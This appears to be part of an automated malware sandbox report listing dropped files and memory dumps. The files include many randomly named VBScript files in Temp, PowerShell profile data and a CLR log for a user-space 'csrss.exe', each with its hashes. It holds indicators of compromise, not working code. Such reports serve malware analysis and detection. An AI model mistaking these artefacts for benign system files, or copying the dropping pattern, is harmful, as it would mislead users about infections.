memory/2892-257-0x000002BFFCA30000-0x000002BFFCB9A000-memory.dmp

memory/4356-254-0x000001CB5E820000-0x000001CB5E98A000-memory.dmp

memory/5096-247-0x00000221BD200000-0x00000221BD36A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bd5940f08d0be56e65e5f2aaf47c538e
SHA1 d7e31b87866e5e383ab5499da64aba50f03e8443
SHA256 2d2f364c75bd2897504249f42cdf1d19374f5230aad68fa9154ea3d03e3031a6
SHA512 c34d10c7e07da44a180fae9889b61f08903aa84e8ddfa80c31c272b1ef9d491b8cec6b8a4c836c3cb1583fe8f4955c6a8db872515de3a9e10eae09610c959406

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe.log

MD5 bbb951a34b516b66451218a3ec3b0ae1
SHA1 7393835a2476ae655916e0a9687eeaba3ee876e9
SHA256 eb70c64ae99d14ac2588b7a84854fbf3c420532d7fe4dfd49c7b5a70c869943a
SHA512 63bcbfcf8e7421c66855c487c31b2991a989bdea0c1edd4c40066b52fa3eb3d9d37db1cd21b8eb4f33dd5870cc20532c8f485eab9c0b4f6b0793a35c077f2d6f

memory/4932-260-0x000000001BE00000-0x000000001BE12000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 92075279f2dbcaa5724ee5a47e49712f
SHA1 8dd3e2faa8432dde978946ebaf9054f7c6e0b2cb
SHA256 fd985ddd090621af25aa77aebff689c95ea7679ff0e81887124b2802ae3e9442
SHA512 744c62556233d9872f43ffb5a5a98aee20a44834436306f0a948c8c4072bdb46ef8044616593747edd645caaee60faf8b14fedb2d6df5f6019b5c73357d80d22

memory/4760-483-0x0000022C5EE50000-0x0000022C5F06C000-memory.dmp

memory/4112-482-0x0000021ED0A00000-0x0000021ED0C1C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6019bc03fe1dc3367a67c76d08b55399
SHA1 3d0b6d4d99b6b8e49829a3992072c3d9df7ad672
SHA256 7f88db7b83b11cd8ea233efc3a1498635b68771482658255750df564a065f7d0
SHA512 6b5409780a23e977b0bbe463e351f1d474539100aeaa01b0b7fe72aa6dbfb3c0fec64fe9db65b63d188a279b65eae7f31ef0b6880c67ada9ab175da419f595eb

memory/2880-486-0x0000021BF0390000-0x0000021BF05AC000-memory.dmp

memory/4208-491-0x0000026361480000-0x000002636169C000-memory.dmp

memory/1944-494-0x000001CC28830000-0x000001CC28A4C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9405862a3b15dc34824f6a0e5f077f4f
SHA1 bbe0000e06be94fa61d6e223fb38b1289908723d
SHA256 0a0869426bca171c080316948a4638a7152018ea5e07de97b2d51e0d90905210
SHA512 fc7ae988b81dec5b13ae9878350cd9d063538bfb2bc14f099087836ed54cd77a36bc7c4276fa075a80a3cd20e7620fa2ba5a8b5b7bf98698b10752749187148d

memory/4376-502-0x00000288A3D90000-0x00000288A3FAC000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 be95052f298019b83e11336567f385fc
SHA1 556e6abda268afaeeec5e1ee65adc01660b70534
SHA256 ebc004fe961bed86adc4025cdbe3349699a5a1fc328cc3a37f3ff055e7e82027
SHA512 233df172f37f85d34448901057ff19f20792d6e139579a1235165d5f6056a2075c19c85bc9115a6bb74c9c949aebd7bb5391e2ae9f7b1af69e5c4aca3a48cff5

memory/2912-510-0x000001E079FA0000-0x000001E07A1BC000-memory.dmp

memory/5000-507-0x000001DEF8D50000-0x000001DEF8F6C000-memory.dmp

memory/4556-503-0x00000238F7BA0000-0x00000238F7DBC000-memory.dmp

memory/3576-504-0x000001F0C42C0000-0x000001F0C44DC000-memory.dmp

memory/2928-495-0x000001C26BE80000-0x000001C26C09C000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 01841b4277227c0578c89131444e7d57
SHA1 b00fbb6cabb5d09d50c28c0fdc62e5e6917b0c5d
SHA256 34797c2cafe0d94ea265e6aba8e38c3c34532e125bdd6dc8c1eab16a977a8cfa
SHA512 15c656ce162ff535506f9f22d285355576e53b89baebc1064523ab59f2eccb111cdd71c1fd66e59995d0727993bd268c976a9bd6cd78ff78d19a3c13436f0497

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 a672fcf7facce635c83caf7b195d0bf8
SHA1 fec2f6c2456efe713ba08fa692a4a356f2f37ba8
SHA256 71945453f618f8cf9c2ddb24132d7e0522643e13ce42a59ff65476938f56082c
SHA512 12713a140e8a73c9dd8b3bc309e3ff1256c16ecd019d1ded31ab47c71651b11dcdcf48ef889805e5bc87bdeb323c5663ff34313cc41170d2d9b45051107dc31f

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 bf3651a8682259b5e292b98289271f76
SHA1 4694a32734c377985dafbd15e26b9a129f1e4a45
SHA256 5ffc07abea05b9bb523e511ed75995488a22e3dd54fddc50b62b8336bd57c575
SHA512 d9cd369fc710131f0f24c3add83a923625831b1bfb4fba0da83dd71fa41a4ed5a0f0e00755f3cf8ae2aef4aa498c353348c51c167f7d6a2af834f07c78b33896

C:\Users\Admin\AppData\Local\Temp\b3ed7e3e-a4e2-40af-8049-83337d7c8668.vbs

MD5 99a0a452a921342656f87af3b7accec9
SHA1 327affa576da9c23ac7f4e018c8752849e9b9ba4
SHA256 8bfbc3d6129711a62d391abaae168e8e539a2267bc04d6ed5f05ff92758d945e
SHA512 824acd9c8e396dd67a1c882b78e3004ab09ea81083f987a2dd08b08290a6f67ba4900bc46125d7caa19769527ad99fc1cd95d1d403b2b02062ec41324ba3d2c8

C:\Users\Admin\AppData\Local\Temp\28633f8a-a59b-46be-be97-418b7da6e0e6.vbs

MD5 9b1854d489601758f78ccd3034439b08
SHA1 c5c792cb0a03e78581da59443dd13033dd2f1d62
SHA256 a623c66c0c23ff850bae83c44270ade92997a5171a4b5e000eb0798bd64d3644
SHA512 d9ee21cc04e1f623a23a20e8a63a1ff5f46b7bfe5d6c314f8865433aa7d3b08861d6a8fc9b19cd62c9f8b4ae3771cc0fff271bebb69c5b96431de3dd4620d113

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\csrss.exe.log

MD5 4a667f150a4d1d02f53a9f24d89d53d1
SHA1 306e125c9edce66f28fdb63e6c4ca5c9ad6e8c97
SHA256 414659decfd237dde09625a49811e03b5b30ee06ee2ee97ea8bcfac394d281fd
SHA512 4edd8e73ce03488a6d92750a782cd4042fbb54a5b3f8d8ba3ea227fda0653c2cd84f0c5d64976c7cdc1f518a2fdc8ff10e2a015ec7acf3cd01b0d62bc98542d8

C:\Users\Admin\AppData\Local\Temp\dd81e433-a47e-4909-bcd6-be63ea329b3a.vbs

MD5 843d3156be2c9170aad624e41236a65c
SHA1 d3925cfd92987d639c8f1ab311b0e927e5f41072
SHA256 8e5e023e3aa3d828583cf15944ad6c005c286c9e095b571f770d5d8673c381ec
SHA512 980533eb0ac0ee6bcc579afd11f01e424b1b85e222a02e176b0e6d18af6f0619f937f00c6b7dfe5d3daaf69940bf1ae98b8ae6eedb3080d0c348e03abb086678

C:\Users\Admin\AppData\Local\Temp\e940332e-2a5e-4688-9aee-017368a7e9a1.vbs

MD5 51874d23f1762b94d66a02db5b54cd55
SHA1 d09c7a5fc2c4d2fb8120f8cdacb5f0fab40053bc
SHA256 a1eb4a338f4f6049aac15d266e267de52fb4c8177ab31c90919d89de45964dac
SHA512 3d6e59e944066ead08d9fe25259cd4faef06420ff1e40ce263d0f49b805265499b5c95537932082177ca08a5297ca7c9f80b0d033a2aaa6a5886c72fe0799500

C:\Users\Admin\AppData\Local\Temp\9667e039-cbb8-434f-826d-a71e49bee52c.vbs

MD5 12759071f61a3a4930c2556b8c5d4122
SHA1 e4308042591f8072de6920a122bd7362adf542a7
SHA256 bcecaf6f3226d26777011f53eae46f8eda9b08b952425af679f3635f9613d9c9
SHA512 1e4c836887ba10ede32e2afc71c629ce6e16874c1d078a8a3efab23b5c2d9839efc04057a30926a947ac2345737f57faceb01ecac3ac41c8f4d1f05b4e1384ae

C:\Users\Admin\AppData\Local\Temp\04c159b3-0128-4873-9dcf-065314d47d43.vbs

MD5 f1bd92578fa4b27df37cfa29461b06b3
SHA1 225453e08decbdeebec9c64d2f5340d8c5449bb4
SHA256 c7eac840d3baa326b97e1487d55537cefe0fa4dbfc63df48ab0e666e858c50da
SHA512 72a9b4e72f7e0b75c78394d5f2bd83d0e588ef533569444578536cc43049949f02a363ce195ffc9926fc558f5f3c2ce8cfb95c13ee7d0aa31b85b32d74e8a96c

C:\Users\Admin\AppData\Local\Temp\01411473-7746-4bce-8350-85d41f9af26e.vbs

MD5 1d1c8c623ee93004ad9c895d48b861c7
SHA1 1afa2194a34662ebaac8f8ba9a37acb8fa69a707
SHA256 4ea7630d649aeaf90e61029c6c8feb59b8b224d4722ded855478f425747961e8
SHA512 eb0ba77fc97aa20cbcc7ee05148ee17202a059a4c293778046f0418d7eec9fea4fd2176e0ce7cea6054197cd5f5d6fb1fa10f176c853bd3c4543a5f7f394f9d1

C:\Users\Admin\AppData\Local\Temp\c3698677-11cf-42bb-9c15-a6c646eeda58.vbs

MD5 76e816b379183277ece75e4e5708b49b
SHA1 54a73e406155387b38df188bb272a9531f49d71d
SHA256 e8446694445787f83b045fdfbcb751378cdb901370053186f6fa0ad7c697eeed
SHA512 e03c334141c3e475f8d8b44de49bd2e977e2e0efc984d99caefe5787b889fd3beefaa72fa588ef533fdebef73343ebd30467816c3dad771c7ce0ee907762b4df

C:\Users\Admin\AppData\Local\Temp\10e234ee-da72-48b5-870e-2d445fb948e5.vbs

MD5 ebdd8f417514e8e067a0c14d0599d9a1
SHA1 e81fc5137743f88f4602c247ffee1d30aedba621
SHA256 09578a72a8a62be958cf485a0d77ba76fcafbfcbcbbbbd0a687ca109447741b1
SHA512 60dd7f7c32dd7daf8e6f5cc3aa0612198d94ae1958e77e7acc3f221a022fa0f165313285e004ba26de2c3695d406b3b5bcdc2a1137c86427d52d57b0c2f86034

C:\Users\Admin\AppData\Local\Temp\47fdc7c8-15cb-4f24-9069-2d2fbc37c0b6.vbs

MD5 832f2fa691f4d7df55c29f211cf5d91d
SHA1 c53ec1bc94fb7a78893060051c9615eb567d0518
SHA256 684aece4b3fa894ccbcffd1dfb177e88db013e8195b2a2aec42b745f3973d241
SHA512 09d40b9797a4d07532450f5bcdeec927dbcdb8bb6f78b7bfb91b7d2cc6c6bfb416676dd24054283f86943b0c0e98c9c1fd382317213af4d1b1c443e8c77e3693